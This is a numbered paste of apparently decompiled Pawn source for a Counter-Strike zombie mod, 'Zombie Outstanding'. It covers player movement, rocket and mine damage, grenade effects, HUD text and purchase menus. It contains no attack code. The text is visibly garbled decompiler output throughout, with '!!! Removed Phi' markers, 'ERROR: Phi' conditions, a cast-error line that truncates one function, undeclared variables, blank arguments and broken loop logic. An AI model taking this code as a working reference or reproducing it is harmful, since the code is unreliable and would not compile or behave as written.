  5211. if (fCurrentTime - g_fLastLeapTime[iPlayer][0][0] < fCoolDown || !get_button(iPlayer) & 2 || !get_ent_flags(iPlayer) & 512 || GetEntitySpeed(iPlayer) < 80)
  5212. {
  5213. return 0;
  5214. }
  5215. static Float:fVelocity[3];
  5216. if (g_iPlayerType[iPlayer][0][0])
  5217. {
  5218. velocity_by_aim(iPlayer, 500, fVelocity);
  5219. fVelocity[2] = 300.00/*1133903872*/;
  5220. }
  5221. else
  5222. {
  5223. velocity_by_aim(iPlayer, 360, fVelocity);
  5224. fVelocity[2] = 250.00/*1132068864*/;
  5225. }
  5226. set_velocity(iPlayer, fVelocity);
  5227. g_fLastLeapTime[iPlayer] = fCurrentTime;
  5228. }
  5229. return 0;
  5230. }
  5231.  
  5232. public OnPreFrame(iPlayer)
  5233. {
  5234. !!! Removed Phi
  5235. if (g_bAlive[iPlayer][0][0])
  5236. {
  5237. if (g_bFrozen[iPlayer][0][0])
  5238. {
  5239. set_speed(iPlayer, 1.00/*1065353216*/);
  5240. if (get_ent_flags(iPlayer) & 512)
  5241. {
  5242. set_gravity(iPlayer, 999999.90/*1232348158*/);
  5243. }
  5244. else
  5245. {
  5246. set_gravity(iPlayer, 897988541);
  5247. }
  5248. }
  5249. if (g_bTryder[iPlayer][0][0])
  5250. {
  5251. set_gravity(iPlayer, 0.55/*1057803469*/);
  5252. set_speed(iPlayer, 250.00/*1132068864*/);
  5253. }
  5254. if (g_bZombie[iPlayer][0][0])
  5255. {
  5256. if (!g_iPlayerType[iPlayer][0][0])
  5257. {
  5258. set_speed(iPlayer, g_fZombieSpeeds[g_iZombieClass[iPlayer][0][0]][0][0]);
  5259. set_gravity(iPlayer, g_fZombieGravities[g_iZombieClass[iPlayer][0][0]][0][0]);
  5260. }
  5261. else
  5262. {
  5263. if (g_iPlayerType[iPlayer][0][0] & 1)
  5264. {
  5265. set_speed(iPlayer, 250.00/*1132068864*/);
  5266. set_gravity(iPlayer, 0.50/*1056964608*/);
  5267. }
  5268. if (g_iPlayerType[iPlayer][0][0] & 2)
  5269. {
  5270. set_speed(iPlayer, 600.00/*1142292480*/);
  5271. set_gravity(iPlayer, 0.40/*1053609165*/);
  5272. }
  5273. }
  5274. }
  5275. if (!g_iPlayerType[iPlayer][0][0])
  5276. {
  5277. set_speed(iPlayer, 240.00/*1131413504*/);
  5278. set_gravity(iPlayer, 1.00/*1065353216*/);
  5279. }
  5280. if (g_iPlayerType[iPlayer][0][0] & 4)
  5281. {
  5282. set_speed(iPlayer, 250.00/*1132068864*/);
  5283. set_gravity(iPlayer, 0.85/*1062836634*/);
  5284. }
  5285. if (g_iPlayerType[iPlayer][0][0] & 8)
  5286. {
  5287. set_speed(iPlayer, 240.00/*1131413504*/);
  5288. set_gravity(iPlayer, 1.10/*1066192077*/);
  5289. }
  5290. }
  5291. return 0;
  5292. }
  5293.  
  5294. public Rocket_Touch(iOwner, iRocket)
  5295. {
  5296. !!! Removed Phi
  5297. if (g_bConnected[iOwner][0][0])
  5298. {
  5299. static i;
  5300. i = 1;
  5301. while (g_iMaxClients + 1 > i)
  5302. {
  5303. if (g_bAlive[i][0][0] && g_bZombie[i][0][0])
  5304. {
  5305. static Float:fDamage;
  5306. static iDistance;
  5307. iDistance = range2(i, iRocket);
  5308. if (iDistance < 320)
  5309. {
  5310. fDamage = float(1250 - iDistance);
  5311. static Float:fVelocity[3];
  5312. get_velocity(i, fVelocity);
  5313. xs_vec_mul_scalar(fVelocity, 2.50, fVelocity);
  5314. set_velocity(i, fVelocity);
  5315. send_screen_shake(i);
  5316. send_screen_fade(i);
  5317. client_cmd(i, "spk fvox/flatline");
  5318. if (float(get_health(i)) - fDamage > 0)
  5319. {
  5320. ExecuteHamB(Ham_TakeDamage, i, iRocket, iOwner, fDamage, 64);
  5321. }
  5322. else
  5323. {
  5324. ExecuteHamB(Ham_Killed, i, iOwner, 2);
  5325. }
  5326. if (g_iPlayerType[i][0][0])
  5327. {
  5328. new var2;
  5329. if (g_bDoubleDamage[iOwner][0][0])
  5330. {
  5331. var2 = fDamage * 2.00;
  5332. }
  5333. else
  5334. {
  5335. var2 = fDamage;
  5336. }
  5337. PrintToChat(iOwner, "\4[Zombie Outstanding]\1 Damage to\3 %s\1 ::\4 %0.0f damage", g_cName[i][0][0], var2);
  5338. i += 1;
  5339. }
  5340. new var3;
  5341. if (g_bDoubleDamage[iOwner][0][0])
  5342. {
  5343. var3 = fDamage * 1.50;
  5344. }
  5345. else
  5346. {
  5347. var3 = fDamage * 0.75;
  5348. }
  5349. PrintToChat(iOwner, "\4[Zombie Outstanding]\1 Damage to\3 %s\1 ::\4 %0.0f damage", g_cName[i][0][0], var3);
  5350. i += 1;
  5351. }
  5352. i += 1;
  5353. }
  5354. i += 1;
  5355. }
  5356. }
  5357. return 0;
  5358. }
  5359.  
  5360. public Mine_Think(iEntity, iHealth)
  5361. {
  5362. !!! Removed Phi
  5363. static bool:bStop;
  5364. static iOwner;
  5365. bStop = 0;
  5366. iOwner = iuser2(iEntity);
  5367. switch (pev(iEntity, pev_model))
  5368. {
  5369. case 0:
  5370. {
  5371. set_pev(iEntity, pev_model, "");
  5372. set_take_damage(iEntity, "");
  5373. set_pev(iEntity, pev_classname, "");
  5374. set_health(iEntity, 1800);
  5375. sound(iEntity, "", "ZombieOutstanding/mine_activate.wav");
  5376. }
  5377. case 1:
  5378. {
  5379. if (g_iPlayerMines[iOwner][0][0][0] == iEntity)
  5380. {
  5381. set_hudmessage(10, 255, 200, 0.10, 0.37, 0, 0.10, 0.10, 0.10, 0.10, 18);
  5382. ShowSyncHudMsg(iOwner, g_iMineMessage, "First mine's health: %d", iHealth + -1000);
  5383. }
  5384. if (g_iPlayerMines[iOwner][0][0][1] == iEntity)
  5385. {
  5386. set_hudmessage(10, 255, 200, 0.10, 0.40, 0, 0.10, 0.10, 0.10, 0.10, 18);
  5387. ShowSyncHudMsg(iOwner, g_iSecondMineMessage, "Second mine's health: %d", iHealth + -1000);
  5388. }
  5389. if (iHealth <= 1000)
  5390. {
  5391. Func_Explode(iEntity);
  5392. bStop = 1;
  5393. }
  5394. }
  5395. default:
  5396. {
  5397. }
  5398. }
  5399. if (!bStop)
  5400. {
  5401. set_nextthink(iEntity, get_gametime() + 0.10);
  5402. }
  5403. return 0;
  5404. }
  5405.  
  5406. public Grenade_Thrown(iOwner, iGrenade, iGrenadeType)
  5407. {
  5408. if (g_bZombie[iOwner][0][0])
  5409. {
  5410. send_beam_follow(iGrenade, 0, "", 0, 200);
  5411. set_pev(iGrenade, pev_targetname, "");
  5412. return 0;
  5413. }
  5414. switch (iGrenadeType)
  5415. {
  5416. case 4:
  5417. {
  5418. new var2 = g_bKilling;
  5419. new var1;
  5420. if (!var2[iOwner][0][0])
  5421. {
  5422. send_beam_follow(iGrenade, 200, g_cZombieInfectSounds, 20, 200);
  5423. set_pev(iGrenade, pev_targetname, "");
  5424. var1 = var2;
  5425. }
  5426. else
  5427. {
  5428. send_beam_follow(iGrenade, 127, 0, 255, 200);
  5429. set_pev(iGrenade, pev_targetname, "");
  5430. new var3 = g_bKilling[iOwner];
  5431. var3 = 0;
  5432. var1 = var3;
  5433. }
  5434. }
  5435. case 9:
  5436. {
  5437. send_beam_follow(iGrenade, 255, 0, 0, 200);
  5438. set_pev(iGrenade, pev_targetname, 4);
  5439. }
  5440. case 25:
  5441. {
  5442. send_beam_follow(iGrenade, 0, 100, 200, 200);
  5443. set_pev(iGrenade, pev_targetname, "");
  5444. }
  5445. default:
  5446. {
  5447. }
  5448. }
  5449.  
  5450. / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
  5451. function "Grenade_Thrown"
  5452. public Grenade_Thrown(iOwner, iGrenade, iGrenadeType)
  5453.  
  5454. public TaskCheckFlash(iPlayer)
  5455. {
  5456. new var3 = g_bConnected;
  5457. new var1;
  5458. new var2;
  5459. if (!var3[iPlayer][0][0])
  5460. {
  5461. var1 = var3;
  5462. }
  5463. else
  5464. {
  5465. new var4 = g_bAlive;
  5466. if (var4[iPlayer][0][0])
  5467. {
  5468. var1 = var4;
  5469. }
  5470. var2 = var4;
  5471. if (ERROR: Phi)
  5472. {
  5473. return 0;
  5474. }
  5475. g_bFlashEnabled[iPlayer] = 1;
  5476. g_bFlash[iPlayer] = 1;
  5477. remove_task(iPlayer + 350, 0);
  5478. set_task(0.10, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
  5479. return 0;
  5480. }
  5481. var2 = var1;
  5482. if (ERROR: Phi)
  5483. {
  5484. return 0;
  5485. }
  5486. g_bFlashEnabled[iPlayer] = 1;
  5487. g_bFlash[iPlayer] = 1;
  5488. remove_task(iPlayer + 350, 0);
  5489. set_task(0.10, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
  5490. return 0;
  5491. }
  5492.  
  5493. public MessageTeamInfo(iMessage, iDestination)
  5494. {
  5495. !!! Removed Phi
  5496. if ((iDestination != 2 && iDestination) || g_bSwitching)
  5497. {
  5498. return 0;
  5499. }
  5500. if (!var9 < g_iMaxClients + 1 & 0 < var9 || !g_bConnected[iPlayer][0][0])
  5501. {
  5502. return 0;
  5503. }
  5504. static i;
  5505. static iNum;
  5506. static iPlayers[32];
  5507. get_players("", iNum, "ch", "");
  5508. i = 0;
  5509. while (i < iNum)
  5510. {
  5511. if (g_bConnected[iPlayers[i][0][0]][0][0] && get_button(iPlayers[i][0][0]) & 32768 && get_oldbuttons(iPlayers[i][0][0]) & 32768)
  5512. {
  5513. Update_Client_Data(iPlayers[i][0][0]);
  5514. i += 1;
  5515. }
  5516. i += 1;
  5517. }
  5518. set_task(0.20, "TaskCheckFlash", iPlayer, "", 0, "", 0);
  5519. if (!g_bModeStarted)
  5520. {
  5521. return 0;
  5522. }
  5523. static cTeam[2];
  5524. get_msg_arg_string(2, "", 2);
  5525. switch (cTeam[0][0])
  5526. {
  5527. case 67:
  5528. {
  5529. if ((g_iRoundType & 4 || g_iRoundType & 8) && GetHumans())
  5530. {
  5531. set_team(iPlayer, "");
  5532. set_msg_arg_string(2, "TERRORIST");
  5533. }
  5534. else
  5535. {
  5536. if (!GetZombies())
  5537. {
  5538. set_team(iPlayer, "");
  5539. set_msg_arg_string(2, "TERRORIST");
  5540. }
  5541. }
  5542. }
  5543. case 84:
  5544. {
  5545. if ((g_iRoundType & 64 || g_iRoundType & 4 || g_iRoundType & 8) && GetHumans())
  5546. {
  5547. }
  5548. else
  5549. {
  5550. if (GetZombies())
  5551. {
  5552. set_team(iPlayer, "");
  5553. set_msg_arg_string(2, "CT");
  5554. }
  5555. }
  5556. }
  5557. default:
  5558. {
  5559. }
  5560. }
  5561. return 0;
  5562. }
  5563.  
  5564. public MessageHealth(iMessage, iDestination, iEntity)
  5565. {
  5566. !!! Removed Phi
  5567. static iHealth;
  5568. iHealth = get_msg_arg_int(1);
  5569. if (iHealth > 255)
  5570. {
  5571. if (!iHealth)
  5572. {
  5573. set_health(iEntity, get_health(iEntity) + 1);
  5574. }
  5575. set_msg_arg_int(1, get_msg_argtype(1), 255);
  5576. }
  5577. return 0;
  5578. }
  5579.  
  5580. public TaskRemoveMadness(iPlayer)
  5581. {
  5582. !!! Removed Phi
  5583. if (g_bConnected[iPlayer][0][0])
  5584. {
  5585. g_bNoDamage[iPlayer] = 0;
  5586. if (!g_iPlayerType[iPlayer][0][0] & 1)
  5587. {
  5588. remove_glow(iPlayer);
  5589. }
  5590. set_take_damage(iPlayer, "");
  5591. }
  5592. return 0;
  5593. }
  5594.  
  5595. public TaskPrintPassword(iPlayer)
  5596. {
  5597. if (g_bConnected[iPlayer][0][0])
  5598. {
  5599. send_say_text(iPlayer, g_iMaxClients + 1, 296136);
  5600. }
  5601. return 0;
  5602. }
  5603.  
  5604. public TaskWelcome()
  5605. {
  5606. PrintToChat(0, "\1****\4 Zombie Outstanding\1 by\3 Hattrick\1 ||\4 Zm.CsOutStanding.Com\1 ****");
  5607. PrintToChat(0, "\4[Zombie Outstanding]\1 Press\4 M\1 to open the game menu!");
  5608. return 0;
  5609. }
  5610.  
  5611. public TaskAmbience()
  5612. {
  5613. if (g_iRoundType & 4)
  5614. {
  5615. client_cmd(0, "spk ZombieOutstanding/ambience_survivor");
  5616. }
  5617. else
  5618. {
  5619. client_cmd(0, "spk ZombieOutstanding/ambience_normal");
  5620. }
  5621. return 0;
  5622. }
  5623.  
  5624. public TaskZombie()
  5625. {
  5626. new var1 = GetAliveCount();
  5627. g_iAliveCount = var1;
  5628. if (var1)
  5629. {
  5630. g_bRoundStart = 0;
  5631. if (g_iRoundsCount > 3)
  5632. {
  5633. StartSwarmMode(false);
  5634. }
  5635. else
  5636. {
  5637. StartNormalMode(0);
  5638. }
  5639. }
  5640. else
  5641. {
  5642. set_task(6.00, "TaskZombie", 550, "", 0, "", 0);
  5643. }
  5644. return 0;
  5645. }
  5646.  
  5647. public TaskHud(iTask)
  5648. {
  5649. !!! Removed Phi
  5650. static iPlayer;
  5651. iPlayer = iTask + -300;
  5652. if (!g_bAlive[iPlayer][0][0])
  5653. {
  5654. iPlayer = iuser2(iPlayer);
  5655. if (!g_bAlive[iPlayer][0][0])
  5656. {
  5657. return 0;
  5658. }
  5659. }
  5660. if (iTask + -300 != iPlayer)
  5661. {
  5662. set_hudmessage(10, 180, 150, -1.00, 0.79, 0, 6.00, 1.10, 0.00, 0.00, -1);
  5663. ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Spectating %s\nClass: %s Health: %d Armor: %d Packs: %d Points: %d\n%s", g_cName[iPlayer][0][0], g_cClass[iPlayer][0][0], get_health(iPlayer), get_armor(iPlayer), g_iPacks[iPlayer], g_iPoints[iPlayer], g_cCountry[iPlayer][0][0]);
  5664. }
  5665. else
  5666. {
  5667. new var1;
  5668. if (g_bZombie[iTask + -300][0][0])
  5669. {
  5670. var1 = 60;
  5671. }
  5672. else
  5673. {
  5674. var1 = 180;
  5675. }
  5676. new var2;
  5677. if (g_bZombie[iTask + -300][0][0])
  5678. {
  5679. var2 = 135;
  5680. }
  5681. else
  5682. {
  5683. var2 = 120;
  5684. }
  5685. new var3;
  5686. if (g_bZombie[iTask + -300][0][0])
  5687. {
  5688. var3 = 180;
  5689. }
  5690. else
  5691. {
  5692. var3 = 0;
  5693. }
  5694. set_hudmessage(var3, var2, var1, 0.02, 0.90, 0, 6.00, 1.10, 0.00, 0.00, -1);
  5695. ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Class: %s Health: %d Armor: %d Packs: %d Points: %d", g_cClass[iTask + -300][0][0], get_health(iTask + -300), get_armor(iTask + -300), g_iPacks[iTask + -300], g_iPoints[iTask + -300]);
  5696. }
  5697. return 0;
  5698. }
  5699.  
  5700. public TaskFlash(iTask)
  5701. {
  5702. flash(iTask + -350);
  5703. return 0;
  5704. }
  5705.  
  5706. public _GameMenu(iPlayer, iMenu, iItem)
  5707. {
  5708. !!! Removed Phi
  5709. if (iItem != -3 && !g_bFake[iPlayer][0][0] && g_bConnected[iPlayer][0][0])
  5710. {
  5711. static iChoice;
  5712. static iDummy;
  5713. static cBuffer[3];
  5714. new var9 = Heap_4;
  5715. var9[0] = 261596;
  5716. menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, 3, var9, 0, iDummy);
  5717. iChoice = str_to_num(cBuffer);
  5718. switch (iChoice)
  5719. {
  5720. case 0:
  5721. {
  5722. if (g_bAlive[iPlayer][0][0] && !g_iPlayerType[iPlayer][0][0])
  5723. {
  5724. static cNumber[3];
  5725. static cLine[128];
  5726. static i;
  5727. g_iMenuExtraItems = menu_create("Extra Items", "_ExtraItems", 0);
  5728. i = 0;
  5729. while (i < 23)
  5730. {
  5731. if (g_iExtraItemsTeams[i][0][0] == 1 && !g_bZombie[iPlayer][0][0])
  5732. {
  5733. }
  5734. else
  5735. {
  5736. if (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[i][0][0] == 2)
  5737. {
  5738. }
  5739. }
  5740. i += 1;
  5741. }
  5742. menu_display(iPlayer, g_iMenuExtraItems, 0);
  5743. }
  5744. else
  5745. {
  5746. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Extra items are unavailable right now...");
  5747. }
  5748. }
  5749. case 1:
  5750. {
  5751. menu_display(iPlayer, g_iMenuZombieClasses, 0);
  5752. }
  5753. case 2:
  5754. {
  5755. static cNumber[3];
  5756. static cLine[128];
  5757. static i;
  5758. g_iShopMenu = menu_create("Shop Menu", "_ShopMenu", 0);
  5759. i = 0;
  5760. while (i < 8)
  5761. {
  5762. if (g_iShopItemsTeams[i][0][0] == 2 && g_bZombie[iPlayer][0][0])
  5763. {
  5764. }
  5765. else
  5766. {
  5767. formatex(cLine, 128, "%s %s", g_cShopItems[i][0][0], g_cShopItemsPrices[i][0][0]);
  5768. num_to_str(i, cNumber, 3);
  5769. menu_additem(g_iShopMenu, cLine, cNumber, 0, -1);
  5770. }
  5771. i += 1;
  5772. }
  5773. menu_display(iPlayer, g_iShopMenu, 0);
  5774. }
  5775. case 3:
  5776. {
  5777. if (g_bAlive[iPlayer][0][0] && !is_hull_vacant(iPlayer))
  5778. {
  5779. static i;
  5780. static Float:fOrigin[3];
  5781. static Float:fVector[3];
  5782. static Float:fMins[3];
  5783. get_mins(iPlayer, fMins);
  5784. get_origin(iPlayer, fOrigin);
  5785. i = 0;
  5786. while (i < 70)
  5787. {
  5788. fVector[0] = fOrigin[0][0] - fMins[0][0] * g_fSizes[i][0][0][0];
  5789. fVector[1] = fOrigin[1][0] - fMins[1][0] * g_fSizes[i][0][0][1];
  5790. fVector[2] = fOrigin[2][0] - fMins[2][0] * g_fSizes[i][0][0][2];
  5791. if (is_origin_vacant(fVector, iPlayer))
  5792. {
  5793. set_origin(iPlayer, fVector);
  5794. set_velocity(iPlayer, "");
  5795. i = 70;
  5796. i += 1;
  5797. }
  5798. i += 1;
  5799. }
  5800. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You have been unstucked!");
  5801. }
  5802. else
  5803. {
  5804. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You are dead or your are not stuck...");
  5805. }
  5806. }
  5807. case 4:
  5808. {
  5809. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 107))
  5810. {
  5811. log_to_file("ZombieOutstanding.log", "%s is now spectator", g_cName[iPlayer][0][0]);
  5812. remove_task(iPlayer + 250, 0);
  5813. remove_task(iPlayer + 200, 0);
  5814. g_bSwitching = 1;
  5815. set_out(iPlayer, "");
  5816. g_bSwitching = 0;
  5817. if (g_bAlive[iPlayer][0][0])
  5818. {
  5819. CheckLastPlayer(iPlayer);
  5820. kill(iPlayer);
  5821. }
  5822. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You are now spectator!");
  5823. }
  5824. else
  5825. {
  5826. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You have no access!");
  5827. }
  5828. }
  5829. case 5:
  5830. {
  5831. if (!g_bEnded && g_bRanked[iPlayer][0][0] && fGameTime - g_fLastRankQuery >= 3.00/*1077936128*/)
  5832. {
  5833. formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
  5834. SQL_ThreadQuery(g_hSQLTuple, "SQLGetRank", "", "", 3);
  5835. g_fLastRankQuery = fGameTime;
  5836. }
  5837. }
  5838. case 6:
  5839. {
  5840. show_motd(iPlayer, "http://basky.org.ua/zm-stats/rank/index.php", "Player Rankings");
  5841. }
  5842. default:
  5843. {
  5844. }
  5845. }
  5846. }
  5847. return 0;
  5848. }
  5849.  
  5850. public _ZombieClasses(iPlayer, iMenu, iItem)
  5851. {
  5852. !!! Removed Phi
  5853. if (iItem != -3 && !g_bFake[iPlayer][0][0] && g_bConnected[iPlayer][0][0])
  5854. {
  5855. static iChoice;
  5856. static iDummy;
  5857. static cBuffer[3];
  5858. new var2 = Heap_4;
  5859. var2[0] = 261596;
  5860. menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, 3, var2, 0, iDummy);
  5861. iChoice = str_to_num(cBuffer);
  5862. g_iZombieNextClass[iPlayer] = iChoice;
  5863. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You will be\4 %s\1 after the next infection!", g_cZombieClasses[iChoice][0][0]);
  5864. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Health:\4 %d\1 | Speed:\4 %0.0f\1 | Gravity:\4 %0.0f\1 | Knockback:\4 %0.0f%s", g_iZombieHealths[iChoice], g_fZombieSpeeds[iChoice], g_fZombieGravities[iChoice][0][0] * 100.00, g_fZombieKnockbacks[iChoice][0][0] * 100.00, "%");
  5865. }
  5866. return 0;
  5867. }
  5868.  
  5869. public _ExtraItems(iPlayer, iMenu, iItem)
  5870. {
  5871. !!! Removed Phi
  5872. if (g_bAlive[iPlayer][0][0] && iItem != -3 && !g_iPlayerType[iPlayer][0][0] && !g_bFake[iPlayer][0][0])
  5873. {
  5874. static iChoice;
  5875. static iDummy;
  5876. static cBuffer[3];
  5877. new var66 = Heap_4;
  5878. var66[0] = 261596;
  5879. menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, 3, var66, 0, iDummy);
  5880. iChoice = str_to_num(cBuffer);
  5881. switch (iChoice)
  5882. {
  5883. case 0:
  5884. {
  5885. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  5886. {
  5887. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  5888. return 0;
  5889. }
  5890. if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
  5891. {
  5892. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  5893. return 0;
  5894. }
  5895. if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 128 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || GetZombies() == 1 || !GetHumans())
  5896. {
  5897. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You can't buy this item right now!");
  5898. return 0;
  5899. }
  5900. MakeHuman(iPlayer, false, false);
  5901. new var90 = g_iPacks[iPlayer];
  5902. var90 = var90[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  5903. }
  5904. case 1:
  5905. {
  5906. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  5907. {
  5908. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  5909. return 0;
  5910. }
  5911. if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
  5912. {
  5913. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  5914. return 0;
  5915. }
  5916. if (user_has_weapon(iPlayer, 4, -1))
  5917. {
  5918. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
  5919. }
  5920. else
  5921. {
  5922. give_weapon(iPlayer, "weapon_hegrenade");
  5923. new var89 = g_iPacks[iPlayer];
  5924. var89 = var89[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  5925. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  5926. ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Fire Grenade!");
  5927. }
  5928. }
  5929. case 2:
  5930. {
  5931. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  5932. {
  5933. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  5934. return 0;
  5935. }
  5936. if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
  5937. {
  5938. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  5939. return 0;
  5940. }
  5941. if (user_has_weapon(iPlayer, 25, -1))
  5942. {
  5943. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
  5944. }
  5945. else
  5946. {
  5947. give_weapon(iPlayer, "weapon_flashbang");
  5948. new var88 = g_iPacks[iPlayer];
  5949. var88 = var88[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  5950. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  5951. ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Freeze Grenade!");
  5952. }
  5953. }
  5954. case 3:
  5955. {
  5956. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  5957. {
  5958. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  5959. return 0;
  5960. }
  5961. if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
  5962. {
  5963. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  5964. return 0;
  5965. }
  5966. if (user_has_weapon(iPlayer, 9, -1))
  5967. {
  5968. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
  5969. }
  5970. else
  5971. {
  5972. give_weapon(iPlayer, "weapon_smokegrenade");
  5973. new var87 = g_iPacks[iPlayer];
  5974. var87 = var87[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  5975. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  5976. ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Explosion Grenade!");
  5977. }
  5978. }
  5979. case 4:
  5980. {
  5981. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  5982. {
  5983. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  5984. return 0;
  5985. }
  5986. if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
  5987. {
  5988. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  5989. return 0;
  5990. }
  5991. if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetHumans())
  5992. {
  5993. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You can't buy this item right now!");
  5994. return 0;
  5995. }
  5996. if (user_has_weapon(iPlayer, 4, -1))
  5997. {
  5998. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
  5999. }
  6000. else
  6001. {
  6002. give_weapon(iPlayer, "weapon_hegrenade");
  6003. new var86 = g_iPacks[iPlayer];
  6004. var86 = var86[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  6005. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6006. ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Infection Grenade!");
  6007. }
  6008. }
  6009. case 5:
  6010. {
  6011. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  6012. {
  6013. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  6014. return 0;
  6015. }
  6016. if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
  6017. {
  6018. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  6019. return 0;
  6020. }
  6021. if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetZombies())
  6022. {
  6023. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You can't buy this item right now!");
  6024. return 0;
  6025. }
  6026. if (user_has_weapon(iPlayer, 4, -1))
  6027. {
  6028. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one! [ Use your\3 Fire Grenade\1 before ]");
  6029. }
  6030. else
  6031. {
  6032. g_bKilling[iPlayer] = 1;
  6033. give_weapon(iPlayer, "weapon_hegrenade");
  6034. new var85 = g_iPacks[iPlayer];
  6035. var85 = var85[0][0] - g_iExtraItemsPrices[iChoice][0][0];
  6036. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6037. ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought a Killing Grenade!", g_cName[iPlayer][0][0]);
  6038. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought a\4 Killing Grenade", g_cName[iPlayer][0][0]);
  6039. }
  6040. }
  6041. case 6:
  6042. {
  6043. if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
  6044. {
  6045. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
  6046. return 0;
  6047. }
